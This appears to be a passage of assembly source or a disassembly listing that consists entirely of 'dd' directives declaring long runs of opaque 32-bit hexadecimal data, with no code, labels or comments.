dd 0B95C2065h, 89B5621h, 0F900A348h, 6CA0B89Dh, 80C94D8Eh
dd 0A9F28900h, 60D917C4h, 8D16420Ah, 46769CEAh, 0C7DA00F2h
dd 240D1DEAh, 36ECA0DFh, 0EC8081ACh, 0A367E6B0h, 0C801FE31h
dd 3FC8858Ah, 222019Ch, 0EC25A67Fh, 0FB9840B9h, 0A779C398h
dd 0FCC96928h, 5040805Ah, 5AB2580Bh, 308EA47h, 9EAA3FFBh
dd 20FED280h, 25D04102h, 64920344h, 2584698h, 4630EEC1h
dd 60E8D167h, 4AEEB98Eh, 92080500h, 0C03040DEh, 99D7204Ch
dd 28E14E16h, 62A29C80h, 78828ACDh, 2E00DE68h, 0B4BD0F4Ch
dd 0C1248824h, 0AC3D808Ah, 4674E4A4h, 567E00D0h, 836FE89Dh
dd 5A11167Ch, 425848B6h, 0A7733080h, 0B87ACF4Bh, 309D4A60h
dd 0B9082F98h, 11052023h, 276B008Ch, 0D161DF08h, 45D20065h
dd 372A940Bh, 3A0534DEh, 0FA4A6C26h, 46EEAC47h, 99B1683h
dd 2475A610h, 586518E2h, 0D671C021h, 0C0F02C19h, 104EA289h
dd 342B4DD2h, 9874FB7Bh, 0FD64001Dh, 40D85F71h, 18001077h
dd 0D11EBBBDh, 0D857555h, 0D7EA886Bh, 0A1900031h, 6E16507Bh
dd 3C20341Bh, 4A1DC4D4h, 2EF01D58h, 57380278h, 8C443262h
dd 0DBE0BC90h, 9C6C5080h, 306549A4h, 0E660D164h, 690023E7h
dd 2944C31Eh, 1E2A607Ah, 93C481B3h, 9904C808h, 11337E8Ch
dd 882520B5h, 2B6F808Dh, 5127D408h, 85570200h, 87D267AFh
dd 14092D6h, 0B5CCADB7h, 0F1E32A66h, 9719A515h, 80ED91DCh
dd 48F56F95h, 0E0937984h, 0C3F91382h, 0E5C951Dh, 90C79Ch
dd 59103641h, 0B0EF9D76h, 0C35344A4h, 0DF601410h, 15C6170Eh
dd 1674A6FDh, 0CB7C9001h, 4C00C599h, 6A7BE748h, 14AC424Bh
dd 81935C20h, 0B490D703h, 0B3E2DE60h, 690248C9h, 56B5003Ch
dd 0FF71B91Ah, 0B80939A6h, 391D4F83h, 3FA03101h, 9948CC86h
dd 0F1EA1070h, 6809112h, 0A968E662h, 28468C90h, 969A5002h
dd 0EF315D71h, 9A586910h, 7A64F48h, 0FF296CFCh, 34722640h
dd 3BC14F08h, 0E72314h, 2430B2F5h, 0E8B2B81Ch, 25D03158h
dd 0E11489D4h, 6478F86Ch, 0AF64A288h, 51DB9460h, 966B602Dh
dd 9C1600FCh, 0FB3110DBh, 0A305048Bh, 283E44CCh, 0BDA84881h
dd 909F820h, 29A79C2Bh, 90322068h, 2560509Eh, 0B2B06DA8h
dd 0B5810188h, 47406C38h, 1F7464BCh, 27CCA617h, 0C6D1A009h
dd 0AE10734h, 0DBE42153h, 209E7019h, 0C040D0C8h, 8B6D5C32h
dd 2AF47800h, 8516620Bh, 1559A90Bh, 0AB9804AFh, 3EDE3D4Eh
dd 23EC2FCAh, 0FA873FD7h, 173192BCh, 8806B143h, 0A2D42389h
dd 8BEB309Bh, 3A419802h, 0F8CB54EAh, 53BC823Ch, 3213D03Ch
dd 6D360500h, 44A7FFF0h, 9F02140Fh, 0DA24ACD7h, 74F43CD0h
dd 4F39C981h, 0A4E76824h, 740388F4h, 75C09EECh, 0ED0588B6h
dd 0E57F0059h, 0F50D6DB0h, 0C5CF233h, 9CDC0B54h, 233CE0B3h
dd 0BEDE0CD3h, 0DFE99FD1h, 3B55D401h, 6B730BB3h, 2C4C5E4h
dd 5409C96Ah, 6079DB30h, 62E61080h, 2E3680CFh, 4A389682h
dd 6F311608h, 951D0098h, 0A46CADCCh, 62FC050Fh, 0D29DCE52h
dd 0ECFBF274h, 137D1570h, 53F5677h, 0D098E6DBh, 636B3674h
dd 0E01BD709h, 0C44C0BB9h, 21AF38F8h, 0D12DE700h, 3487A2Fh
dd 8F15F3FAh, 9898D2h, 915F24AAh, 4DDAFCh, 0D490F288h
dd 0D94F111h, 520B3A00h, 0F85735F5h, 54AA2B60h, 0EEB50188h
dd 3887462Ch, 0AD82B004h, 7D0C3AEEh, 8664AE84h, 9F3880F4h
dd 152F3EBAh, 0FBD46291h, 0C1E973F4h, 11BC20ECh, 7C2C7213h
dd 4281D4C7h, 2C29BFEAh, 56012A23h, 4D71909Ah, 5B88F518h
dd 9A7F5Eh, 3721B7BEh, 0FC3D591Ch, 63A20E0Ch, 2F4181C9h
dd 0F043A5E2h, 0C89C8FDDh, 0D88EC094h, 0E1345F9h, 0B8C1F190h
dd 0CC242A6Ch, 0EDECA36Eh, 0A83CA4B1h, 38CE4BCh, 1E0C18A8h
dd 6160EA40h, 82642681h, 10229799h, 8429F274h, 0A0505C94h
dd 570A2B23h, 5516DC9Ah, 5C03BCCBh, 1A339A5Fh, 90C082B2h
dd 4D39F761h, 0F30D7034h, 68E5246Dh, 80045CC2h, 305752CAh
dd 0EB5C68A4h, 47D00B8h, 917E5D73h, 494C0269h, 0D8C9E416h
dd 42ED5084h, 0F2682499h, 36521018h, 0CD9B26AAh, 0B4D1C313h
dd 8B0C922Ah, 0E020AA41h, 0C54E17C4h, 0A8202026h, 9E522A64h
dd 0E3C0108Ch, 405B4284h, 58E1E629h, 78796378h, 6043B8F6h
dd 30F2A298h, 2C3E6C82h, 107AAD24h, 448F74h, 9F6B5B04h
dd 0D9343C23h, 402FD0C9h, 0BFC19824h, 8FADE891h, 328009C1h
dd 9C8B5440h, 1CEC274Bh, 0C01D9E19h, 69FB3E7Eh, 21004AE6h
dd 5808BC93h, 0AB9C5643h, 5048F69Ch, 80A6A071h, 63130F7h
dd 0B8EE2822h, 28008018h, 0A2B7567Bh, 1B25EBC8h, 38949C24h
dd 8900D8F3h, 0D1322AE8h, 8E1AF5h, 0C73ECF5Bh, 1EE45D8Ch
dd 0AD58A00h, 2D4E2A95h, 30491261h, 0CE6C00ECh, 0AE102CF1h
dd 7A5350C0h, 1D384FAh, 1827DCB8h, 60F524C3h, 1418BB00h
dd 5C28BC54h, 520A273Bh, 0EF912C1Dh, 0D8742E80h, 7612461Dh
dd 0FEDD4h, 68003620h, 7209CAD9h, 3CC0490Ch, 9E8E600Bh
dd 91E414E5h, 0A73C1960h, 8823B017h, 0F1AA84E4h, 909B0FE4h
dd 0EAA82140h, 89934308h, 3C04D324h, 0F6233F56h, 226CC20Eh
dd 0E10875CDh, 0A820E2C0h, 0D9C7679Ch, 0AB449432h, 0CAD42045h
dd 0BA314CF2h, 0CA6C26C9h, 0E469848h, 0E0E56020h, 63D1C4B7h
dd 916081F6h, 0C496026Fh, 18CF6250h, 5C14959Fh, 27DC0E7h
dd 4A62F829h, 44829102h, 7C46D948h, 9D88D20h, 0F8C26420h
dd 0C9C8DC10h, 3A6079FBh, 1340D3h, 8B663086h, 67DD5C26h
dd 6E24C480h, 0EB09D19Ah, 0EC034C90h, 58009871h, 0BA92DF2Dh
dd 1EA71FAh, 22BD0A8h, 89AFE10Dh, 98AB1A88h, 81EF2AACh
dd 88CC4E6Fh, 45BBC0F5h, 0CDA36E58h, 0D85D4CF8h, 0B7B18000h
dd 9DF9A937h, 712F6FA7h, 5033491Dh, 0BEBCE400h, 1431D151h
dd 0F716889Bh, 8906103h, 0EE444CDEh, 0B9D1h, 0B165D2A6h
dd 0B901B80Dh, 992E3540h, 62C4CBC2h, 4428132Bh, 6EAC827Fh
dd 917834ECh, 5825A726h, 520BD448h, 74FC48A3h, 78C782A4h
dd 0F960F344h, 39F8E718h, 23D99312h, 0DE1674B2h, 2988D04Fh
dd 31ECECDFh, 0CE8FA801h, 6DA63AA7h, 48D986F0h, 41218D2h
dd 0A55C32AFh, 0CC530B20h, 0E4265850h, 6A92311h, 0F0A34C2Eh
dd 594DF0F0h, 0BD2220A0h, 30F3753Fh, 1E4038ABh, 14819574h
dd 6C6B5420h, 763A0F44h, 81D3EF6Ch, 0C290AAF2h, 0C74F5888h
dd 29914E80h, 252C2398h, 0D872BA0Ch, 1F9C5620h, 0A7FD1425h
dd 8110A466h, 62009AC6h, 417C2A2Dh, 5C3BBCD3h, 928E8124h
dd 3356AECCh, 88AF6820h, 0A490A626h, 7BB9E700h, 40327778h
dd 4C2D0BDBh, 1844EC3Fh, 1260BD44h, 21A60A3Ah, 0CA2A4B8h
dd 0A859C298h, 94A5A74Ch, 2B34F4E6h, 0F77694FCh, 6D0132F0h
dd 348F203Eh, 0A4418E21h, 0C4639E1Ah, 0B4908822h, 3D8D849h
dd 0FD946A36h, 0D6301008h, 4AE2DF90h, 23442E61h, 0FF1DD1h
dd 0C0E5F80Ch, 5C1347E4h, 1822A5A3h, 44B46C40h, 264EA765h
dd 0E757DCD7h, 550198Ch, 0B5D33362h, 9672C01Fh, 1C09BE2Ch
dd 7A68D8C1h, 0F2EB27F4h, 0DB98811h, 0F1ACC02Ch, 144DE28Ch
dd 0A4B2DF8Fh, 8CA96FB2h, 807078DBh, 1C200E3Ah, 0B120D3D1h
dd 2C263FF9h, 0BC8B550h, 0A1D4E08h, 4FD20810h, 3C3BA365h
dd 8400CA23h, 0FD3D0356h, 0A6EA1DE5h, 59F066DFh, 104DE7Bh
dd 3902CCC8h, 0E8047E5h, 0AFB90527h, 6CE675CBh, 0DBA51700h
dd 2C91E23Bh, 48D56508h
dd 0A0F00432h, 796432EFh, 18EEF1B0h, 27A72CBAh, 0F05340D8h
dd 0EC2F76C8h, 0C2D820E5h, 0CE7478h, 6843E83Dh, 0FF072C3Bh
dd 0F305F00h, 0D0CC198Eh, 6C6D11F4h, 3E6408B8h, 91D02AEFh
dd 0C89CF844h, 84D37A84h, 0E4A18543h, 42EE08BDh, 2E5411B8h
dd 0BC0D5983h, 0B715409Fh, 0F096257h, 16B33AA8h, 0AC4620A4h
dd 0C0D22331h, 9C02BCDAh, 12932041h, 8068F4E6h, 0FF413D7Eh
dd 690377AFh, 0E44A0AA2h, 27B0805Bh, 8CFB51BEh, 223A9831h
dd 987ECBA0h, 0ED467Ch, 0B954785Ah, 0EC9CC44Eh, 45F90BAFh
dd 2CC0746Eh, 67454C26h, 2F3B8AEDh, 19B2394h, 4158AF42h
dd 3A1EE526h, 0C09E2C48h, 20C20830h, 688F1D43h, 0B3810820h
dd 0F6024F91h, 0D8E99B9Ch, 12B058AFh, 0F4E04E09h, 9CF1AF4h
dd 3C294123h, 5180266Eh, 7AAB5109h, 0BCA6C0CDh, 3E2DF300h
dd 9580A51Bh, 18B0F6Eh, 1CA00C47h, 86CE575h, 3988949Eh
dd 0BAA409Ah, 7C01C852h, 0D9413157h, 40608E06h, 6C1484ABh
dd 1CA0BF3Eh, 81AD6DB8h, 0C664F2B4h, 5C26C035h, 275B03F0h
dd 0CE952805h, 40C1EA70h, 7100453Eh, 0A0409834h, 0C8979DF8h
dd 0A79FD391h, 6A005864h, 8A3F8886h, 12AA328h, 3AD6AD83h
dd 45D75416h, 7D0C3AE8h, 0B2FD098Ch, 0C8E4422Dh, 52B7CE00h
dd 916175BAh, 0C281001Fh, 6732A8F9h, 260F3322h, 2084CB1Eh
dd 8F0530F7h, 239D0129h, 0A74632D7h, 0A2306345h, 0E6ED30F3h
dd 129A23Ch, 2C7236CCh, 932FBB38h, 0E7B350F8h, 76031AE8h
dd 292AF400h, 62235BB3h, 5EB8BEB9h, 491DCA46h, 3796014Dh
dd 0D0CD5809h, 29057B46h, 0EB23E6A5h, 3E9BDC00h, 54035E30h
dd 1D4190A4h, 404FE69Ch, 0ADF972E1h, 6A0338CBh, 0D199291Dh
dd 0F729009Eh, 0FFC5F6ACh, 77383DC9h, 1F338045h, 0EB3FB3A7h
dd 0C47C1C01h, 42E42699h, 48C06AD2h, 0C2009258h, 136D2957h
dd 165E6F81h, 6024A985h, 8A9A4C14h, 967D7127h, 545D0784h
dd 0D05E0B9Ah, 2EEA35B9h, 0E526213h, 4E18CF0h, 907D5423h
dd 0C8808E9Bh, 92FEC0DCh, 0DE2C5663h, 2455042h, 7A8F9420h
dd 0DA970023h, 28A5CA3Ch, 8A00341Eh, 0B3EB4A55h, 0FB6A64C0h
dd 0F2BCD52Fh, 3096F2DCh, 0AB00BA86h, 0C1531C65h, 2734257Eh
dd 84CD2Ch, 97A40C7h, 131A3245h, 54CFF499h, 2F4B6448h
dd 0F623D0h, 0BE4096DDh, 981FA248h, 14C66C5Eh, 2578A8B8h
dd 0C4CDCE03h, 0F882BAC0h, 187BE6h, 17C41D52h, 0AA2A60E0h
dd 79DC9650h, 392B5900h, 3CC8A26Bh, 47C989Dh, 0DE5FBA9Fh
dd 5234C0BEh, 0AC24E4A6h, 0A20A3023h, 9143EC59h, 5E3002C2h
dd 0C5803472h, 0E28AB045h, 9244C8C6h, 0B6698065h, 0A253FD20h
dd 9722C8h, 79082464h, 5AB739E2h, 41543C02h, 0F8DD7476h
dd 0BB803098h, 4B05989h, 8D3CB700h, 0D1AF98FDh, 0DCA24C1Ch
dd 449E9D22h, 563FCC40h, 34C16AFh, 840405B5h, 0F778B2CAh
dd 492E0D8h, 0BC001453h, 7918DCCh, 5344FDAh, 0D34168D0h
dd 1F48A858h, 79C67A66h, 89DD01h, 649FBFF6h, 62E11770h
dd 6B167B16h, 40CEE4A0h, 1C48B4AFh, 3341C0ACh, 3B9EA9F2h
dd 402CD123h, 5CB0E8C0h, 87009546h, 0B512635Fh, 0DC91D8F3h
dd 0D618D1D1h, 8490B30h, 1CF7D8FAh, 0EFF04262h, 188581Dh
dd 3F67AAh, 180D1235h, 0E43AF35Fh, 7500CB23h, 43467B29h
dd 284D0272h, 842C4F76h, 933E5C60h, 0BCA8A1CFh, 0BB107585h
dd 0E456A40Bh, 77F402ECh, 0A6E68EF2h, 40A04320h, 29D20062h
dd 0CD258B17h, 0AA70DEBDh, 0AF44A2B5h, 1CF5E01Eh, 0D68B3C1Ah
dd 399A9226h, 4F0D017Eh, 5CCE5391h, 6F606562h, 0DB243804h
dd 90270C91h, 0B180B8E0h, 8BAE00E0h, 96A5DDC1h, 63812800h
dd 0E0034772h, 48B902BBh, 0BFE6BC6Eh, 0D926C840h, 4CE33D2Dh
dd 5815955Ch, 0A080ED91h, 42264E32h, 4CC02509h, 0A24C0272h
dd 2C410F9Fh, 2BF0BE58h, 0E623C03Ah, 29F46C02h, 46684079h
dd 0D4142526h, 0BE13FCE8h, 0AF252784h, 0F211341Fh, 5C15E780h
dd 7F711ED7h, 641326ECh, 9491F956h, 226AE6B4h, 222430Ch
dd 779448A7h, 86170097h, 0AE62F575h, 0C42FDB03h, 3AB0181Dh
dd 259080ECh, 0BD622414h, 1104748Ch, 0C180AE85h, 8FD0D900h
dd 8C03DCE9h, 71352A6h, 40D89024h, 81184E76h, 26A8F2DCh
dd 183BF078h, 0F614019Fh, 20CCA555h, 2F5BFD61h, 56C40Bh
dd 8E891024h, 14240B1Eh, 6C24D41Ch, 0CB5A43CDh, 0DEFAE96Dh
dd 255FE8C0h, 6CE5F7B2h, 5067F3E4h, 0BA8161C9h, 84242F70h
dd 46744449h, 14EB00F0h, 0DCF7D594h, 5054F446h, 4B07D8E4h
dd 5274908Eh, 38999CF2h, 86A9EDF0h, 0A276B803h, 7A131046h
dd 0B956F019h, 0F33D0BF0h, 8F00A464h, 548D8088h, 8A0DA7h
dd 7F99DD37h, 0BBCA8CCh, 0A3FAAC01h, 2443DEE9h, 0B7235194h
dd 0E0A7DD2Fh, 7064C8DAh, 0C8E8E649h, 0FB002A9Eh, 0BA637205h
dd 17BD462h, 699412D8h, 3CAF6F6Eh, 0F5248020h, 0F37573h
dd 2D5A6C32h, 8E5C615Bh, 2B4EBC1Fh, 56B3F401h, 406E41E2h
dd 64F28918h, 9D9DEBB6h, 82D19130h, 0C0572BB3h, 12895D4Ch
dd 41F664BEh, 0A31EC4DCh, 0C00902D9h, 80B9C208h, 785E2423h
dd 3FF8BC01h, 13B5C1Eh, 0E26C26F8h, 23C00C9h, 0D140CBECh
dd 2500347Ah, 2D2A4798h, 3F51231Ch, 0ED825AB8h, 0B321534Eh
dd 907958F9h, 4E704D18h, 0B1B72716h, 47BE0C04h, 3C82B8F8h
dd 0A47CFAD4h, 0CFCEF889h, 0A1C140CCh, 0C90056ADh, 46B66C3Dh
dd 0BED21462h, 0E237B83Ch, 5CFA9031h, 0F011FD5h, 8744DE55h
dd 203E26B1h, 302C40C8h, 0FA4F9710h, 0A01E4604h, 1094FDB5h
dd 0C2FF55Fh, 0C79A2C27h, 188BC65Ch, 142F955Ah, 6E03F023h
dd 0DC5A7F6Bh, 0A5105C91h, 7C25C600h, 2E09D89Eh, 0A264E191h
dd 2984D1A4h, 8C0A4ACh, 0C001BD4Ah, 0B155A1DAh, 76D85EFEh
dd 5803CA46h, 7FA47C61h, 0CF381FB0h, 0F11BE609h, 0E96870D8h
dd 0DB4CA000h, 480460B6h, 0D082ADD3h, 0F09CD123h, 186AA01h
dd 1FDB68B9h, 2125FE79h, 0A4173ABEh, 4848A0A2h, 1C8CF4E8h
dd 7FA7334Ah, 8F0593h, 4C243AE0h, 562D71E8h, 10444D9h
dd 0B543D370h, 0D0762C5Eh, 0A60BF7A7h, 0F906FFF4h, 189B712Ch
dd 0F0391342h, 81DCE8F5h, 0EDF35420h, 163AD880h, 0AA906089h
dd 0FB5EF89Eh, 3A07DD18h, 14722F0Fh, 25F85889h, 2C45EC8Eh
dd 9160F0E4h, 815CE49Bh, 0E1CC8794h, 415019F0h, 15DF1F6Eh
dd 305DCF6Dh, 10758D27h, 45FC24E0h, 0BF2675h, 2B5C56B8h
dd 0FC6C483Ch, 0F4017A13h, 0C23B738Ch, 963A0370h, 0A857CDB7h
dd 0EEA0FE8Ch, 5E121F32h, 580AC04Ah, 3045611Fh, 0FE14002h
dd 6E9D3880h, 971B00E8h, 649F4F20h, 6A48A3D1h, 3DD70226h
dd 0E20BE5C7h, 5AE4E24Fh, 0E8629F78h, 37BD807Ah, 193F0E14h
dd 0F8D780A5h, 6DB8046Ch, 0D488C070h, 0CDEA80C9h, 13BC4780h
dd 49B81423h, 0C41051D0h, 6C546DA0h, 53090B98h, 0D0A6AE05h
dd 3EE34418h, 0D3493F09h, 6CAC04AFh, 800020FCh, 71E54237h
dd 0BE59942Ch, 9BF01380h, 1222014h, 996F8EF1h, 176F601Ch
dd 0F97C2004h, 130071A4h, 0F6CAC390h, 0B0A1CFh, 0FDE2214Eh
dd 5F27523Eh, 226E8617h, 90F2FCF3h, 3E39C30h, 4A21C5B5h
dd 8100DE81h, 644659BDh, 30848543h, 0EE0ACB1Dh, 917EB5E0h
dd 6CC86B5Eh, 0FD8A3FA7h, 0FA97C000h, 281636DFh, 0EB1C7D00h
dd 8D65BB0Ch, 0BD947046h, 0A5B6D4A0h, 1B00EA7Dh, 32D3DD5Dh
dd 9342590h, 0A9B44679h
dd 237090D3h, 900098C2h, 0BCE62048h, 240DCA3h, 6352A2FCh
dd 9A058ECh, 0A49080DBh, 0E8D0E6C0h, 5751CFh, 7E179F3Fh
dd 7AB67F96h, 273D4912h, 39C81C08h, 52C099E1h, 8B68758Eh
dd 7886BEC0h, 764017ACh, 5654C0F0h, 34A1AC80h, 293F10EBh
dd 0EF0400CBh, 38F064F9h, 0AB0DC7Ch, 5C44E507h, 56298E4Bh
dd 43A34400h, 133C87D6h, 16F363F9h, 1D3C05F8h, 0CEE0CC70h
dd 8490608Ah, 4C1C80C0h, 1363AD20h, 0B1180DCEh, 0CFB1C014h
dd 645C6795h, 448064EDh, 980E2DEh, 0B64FDABBh, 0A29F7400h
dd 0F0BA8E54h, 80993831h, 3B7BC0C7h, 1D72344h, 12B86863h
dd 2E23C5C4h, 0FA520020h, 92F3E06Eh, 403C94E8h, 15C50432h
dd 0BCD24F02h, 84C8CEBDh, 2D0BC1E4h, 0E4F16059h, 3B71A318h
dd 1C921612h, 97EC30A8h, 1D2FA8Ch, 0EF9B0EE5h, 2A1DC666h
dd 0DD12D85Ch, 0C210C8E2h, 14910495h, 26009BD4h, 0C47AFD4Eh
dd 30611C00h, 6A9319CEh, 54B55D5Ah, 0AC9B4612h, 8CDCECD8h
dd 5EC56000h, 0D639E0DFh, 8A80C58Ch, 23983AA2h, 11AA04E7h
dd 9C04818Dh, 58C09FD8h, 6FB52A40h, 2FE839D0h, 906448DEh
dd 0CAD81410h, 96F161Eh, 0B070301Ch, 1E326208h, 4891798h
dd 5FAAAACh, 0E0AD58E6h, 1200A122h, 1123F0A9h, 4E46039h
dd 75A632F7h, 527CF028h, 721C4704h, 4CBDF22Ch, 29D4D11h
dd 3B5CD223h, 5A90503Eh, 9EAC40D1h, 0F4DF6C7Ah, 45EC3800h
dd 566DBAD0h, 63D40009h, 3498AC2Fh, 7F1DDA1Bh, 0ED970DF4h
dd 413A24E4h, 9F1ED1BBh, 5916D30Eh, 5A95C804h, 99242501h
dd 34486479h, 2EF53Dh, 0D6B8E7A0h, 169E31Fh, 23E27220h
dd 864C6044h, 0BD12651h, 1D4679D8h, 0AEBE3EF8h, 0E9A360CCh
dd 61958D05h, 0C207CC50h, 8C59A073h, 960E4085h, 541CCC90h
dd 9C3B2F7Bh, 82243007h, 38F25C4Fh, 0FB2DEA78h, 0C4066F9h
dd 0E1383E40h, 4F3244F1h, 4346598Fh, 0BE180424h, 0B3A70999h
dd 30E6A22Ch, 0C00011FFh, 46D63B90h, 0B7EEEC0Eh, 9FE36022h
dd 3980E419h, 0F1D2E959h, 0A7E74264h, 0B8681920h, 9EED2420h
dd 0BBF08B90h, 1C42105Eh, 31A01B0h, 0A3A03CCCh, 8B03A44Ch
dd 0E4A47C14h, 50431678h, 0AD04682Ch, 5EC0206Dh, 58A3DDB7h
dd 50163013h, 661C91C3h, 0C1BC0C67h, 1E4A60F1h, 25C69B5h
dd 0ABEE281Ch, 80BCFE81h, 6ED2225Dh, 5C01187Bh, 0E9A1AFC8h
dd 50D8B80Eh, 9C109573h, 0DC0953C9h, 845667C2h, 2341BA48h
dd 83F23Ch, 5B023260h, 5828A4BDh, 2C0139EEh, 0CBB8F87h
dd 9C2BC640h, 0A225AE70h, 416CA05Bh, 1CA5272Bh, 350B867h
dd 0E820A826h, 9CC8D14Bh, 287DDDh, 8E1BF672h, 88A82E6h
dd 9F4E3300h, 0FD626745h, 4C5975Ah, 4460F3E4h, 0D500D4E7h
dd 1372260Eh, 956D0CCh, 0FA580BB6h, 328EAB01h, 0A7403486h
dd 0DE302E50h, 24383416h, 0C48084E8h, 1F8ED80Fh, 0E71E97F3h
dd 2E3B8F4h, 0E47AE2B2h, 8407DF0h, 0F47903EDh, 6B542609h
dd 2FC4F2FAh, 84E3CBA0h, 0F02A4830h, 0CA5213Bh, 0AD4330F7h
dd 0A444DE90h, 0F4B1093Ah, 38892C6Dh, 8DD16851h, 480EDB18h
dd 4052378Fh, 0C08B9660h, 0C2E3265Ch, 0C0D95210h, 98189179h
dd 55417700h, 3FF7F478h, 0DEEE122Ch, 82C0E844h, 76C4243Ch
dd 464209F8h, 0FBA36420h, 309643DEh, 8F81480h, 90EB50E7h
dd 37800980h, 0C56AC64h, 0F8025961h, 9051FC61h, 3B7AC990h
dd 5F32368h, 0C198BB52h, 381403F5h, 0E4F489F0h, 0D09F4E10h
dd 0E8C01E88h, 3C34D74Bh, 5200D0E9h, 0E8E73E27h, 13581E39h
dd 29A00079h, 0C0C65383h, 2078C2E0h, 0F054434Ch, 37815F00h
dd 97AAB799h, 0F16BD4C0h, 24089102h, 5BAF3814h, 16460560h
dd 0C134A188h, 0E8F9A60Ch, 25978208h, 87297890h, 34262F09h
dd 0E2E8233Ah, 2A3E251h, 45EE3D1h, 48424244h, 8060AED3h
dd 280A9B5h, 0C829C0A0h, 2474E4EDh, 7C00967Eh, 823863DBh
dd 26BAE323h, 1F508A6Ah, 0F8A5AF12h, 0E9BE164Ch, 60BC2DF0h
dd 167729D8h, 0E323D170h, 3296E2D0h, 87DBFA80h, 610099FAh
dd 520BB0CDh, 96575468h, 0BD25BBCCh, 8E1410A0h, 16133A30h
dd 0C8A420C2h, 60E688E3h, 50A2F1D2h, 1230EEF2h, 0AC142D8Ch
dd 9DF06CC8h, 85D180C8h, 21186E40h, 2AC844DCh, 4C6498h
dd 43878EAFh, 5E46B776h, 263F8602h, 76FC25A6h, 58A20944h
dd 6E100464h, 145CBDD0h, 802C9B97h, 7A2846F4h, 18A3E40Fh
dd 41DC87E5h, 141E4315h, 65004C4Bh, 0EDF21E1Ah, 4E49718Ch
dd 0EC24C598h, 20B8D288h, 8CF2ACh, 42C4537Fh, 4CB87B05h
dd 0A8023F5Ah, 70481E40h, 0C90802D4h, 5C1423C4h, 0A809407Ch
dd 0B0900206h, 311600A4h, 0EC09E5D8h, 5442D179h, 5427020Ch
dd 6C44F777h, 5AFCAB40h, 23683BA8h, 756E03F2h, 23A8B2F4h
dd 0D092B41Ch, 423AF700h, 0D11E4EA2h, 44D55CEFh, 0E41F6D27h
dd 2F819411h, 393BDE66h, 46AA0514h, 9CB02A6Ch, 0C9149E90h
dd 906490E5h, 1A5BFB60h, 9F1B0C01h, 922E5262h, 0D25E0C34h
dd 0F23CE259h, 0C2AE3091h, 0F24F4E16h, 0A47F7C06h, 0D190B1B0h
dd 262818D2h, 8987B09h, 6E1CF4B3h, 4DF78880h, 2535FB2Ch
dd 0C42B1649h, 4812EC27h, 0D40C7104h, 19294CB0h, 0A92AA76Fh
dd 9873A9h, 0B0BE1B25h, 1C9F456Ch, 413B2DB7h, 0F6754BDDh
dd 0A9E44204h, 4BF85323h, 88E4CE26h, 456FC0F0h, 0DE258118h
dd 0CFC7378h, 3891C580h, 92FF0100h, 4AB7DD5Ah, 5F2E03FEh
dd 8191339Eh, 8362F7D8h, 29002A77h, 87EDB5A5h, 1240B9C0h
dd 0BDE74876h, 0F95B1008h, 1817184Ch, 0C2E8A9EEh, 0E02DCD4Fh
dd 95DA2440h, 0C313F8C6h, 0D0F0F00Ch, 809E1D31h, 0B4388136h
dd 287A4C2Eh, 0E85BCA4Ch, 11F01D27h, 9789F3h, 8753C3FDh
dd 2C721206h, 0D82880ACh, 0B9407A52h, 943B26D7h, 0D06DAFACh
dd 34031C7h, 0BB91B61Fh, 189771A4h, 8C7B1363h, 2BFB0981h
dd 0C601D8DCh, 0D9F11B9Ch, 0BCC01820h, 74A42CD4h, 0E5009646h
dd 105C7499h, 0B9F69304h, 0CB5DA225h, 0DD710EE4h, 0FD16B509h
dd 20AF1EA0h, 0DA150240h, 7ACCEC01h, 739101A4h, 0AC341BC4h
dd 0DC226ADFh, 64A62156h, 101C7A32h, 9828A7CEh, 0FE125851h
dd 0B5991290h, 0B2804B4h, 878018EBh, 0D2B9085Fh, 0C8A8D830h
dd 0E69D1DA0h, 0B0AF4E26h, 82804F6h, 0C34DFA8Eh, 14EC58F0h
dd 0A3A21250h, 94730829h, 96B03846h, 0AD02D1EAh, 641471CDh
dd 5E2C89A6h, 30D96980h, 0B718EF59h, 46A59402h, 0C7B006E7h
dd 60F6C490h, 2D8AE7Ah, 0C884E7A6h, 3CC076DBh, 2E80C5A8h
dd 5C161348h, 3A6C88D8h, 21A741C5h, 0E6C500E8h, 470EF8Ch
dd 270C991Ch, 445932A5h, 97B420Bh, 34D4B7h, 0C8A23340h
dd 2CB5C291h, 956D1854h, 0B7AF048h, 40F65317h, 85C85008h
dd 0A851B46Eh, 9737044Ch, 52723Fh, 0B2E14C28h, 522CCA09h
dd 0CD8A3C16h, 3A08BC0Fh, 4F140199h, 3695A675h, 342F5A5Ch
dd 0C803D123h, 0F975190Ah, 121A374h, 95803C7Ch, 6F67DAA2h
dd 18BCE901h, 46065871h, 0A6D8D42Eh, 0BE7EF0B8h, 0A447003Dh
dd 0F47BD218h, 4A2F6059h, 0B4DC60AAh, 0A931C731h, 0E882C4C2h
dd 0B712DE4h, 0D02CFB5Ch, 6D01D327h, 32572D14h, 0F53178DFh
dd 0ADE4482Bh, 0F4786CABh, 733E0975h, 98471AE6h, 0D760F4C4h
dd 38E45CE3h, 0F0F22824h, 0A4EA08h, 460B8629h, 0C493AAFDh
dd 98A2D10Ah, 35C0A80h, 8E8402h, 7654B725h, 0C689EDCDh
dd 0A262C0B4h, 0A7AC7C5Bh
dd 730B8871h, 3F6D0086h, 5B94853Ch, 6ACC20BAh, 1A000C47h
dd 6E786CF4h, 4F9DBC97h, 5E9CE008h, 9450E197h, 0E00BB401h
dd 5B5AAB17h, 7445F471h, 2E21BC08h, 3152C205h, 0E9D4E040h
dd 605D740h, 642423CDh, 0CA2740BFh, 0FA481206h, 30414554h
dd 9F44FFC8h, 0B441954Eh, 0B37DE2A2h, 72381B20h, 67D230F1h
dd 0DE4ECE02h, 62BC085Ch, 0DF749C05h, 0C4D314B6h, 1E3861C4h
dd 0A4223B9Bh, 1FA06889h, 98E49D1Ch, 0C772DB0Fh, 0A3372426h
dd 7C01F0A5h, 0DFECD520h, 0DE9C272Bh, 6293FCD9h, 2382D8ECh
dd 0E8E97444h, 0D9219651h, 0C58238C3h, 0E222202Ch, 583C88A1h
dd 1AF0BC41h, 189D61FEh, 219BE98Bh, 0A2701814h, 700290A2h
dd 8484759Ah, 0A49B856Dh, 0A8A8D184h, 14257208h, 7F0C62E8h
dd 0FC25A091h, 0FC0086CFh, 8C70570Ch, 2CE0B542h, 9D684629h
dd 6FAB49B3h, 0A80CFC07h, 0DC5F901h, 23ABFE4h, 0EE6B5428h
dd 0B8896E03h, 0C0B9DB62h, 74239D9Eh, 0DA3DB7E1h, 5F8F8085h
dd 4DCFCE29h, 602090F0h, 0BBDF2024h, 417BABBEh, 0BF832901h
dd 9F1FF923h, 4A2AEFD0h, 3989030h, 0E80F86AEh, 8F2E68h
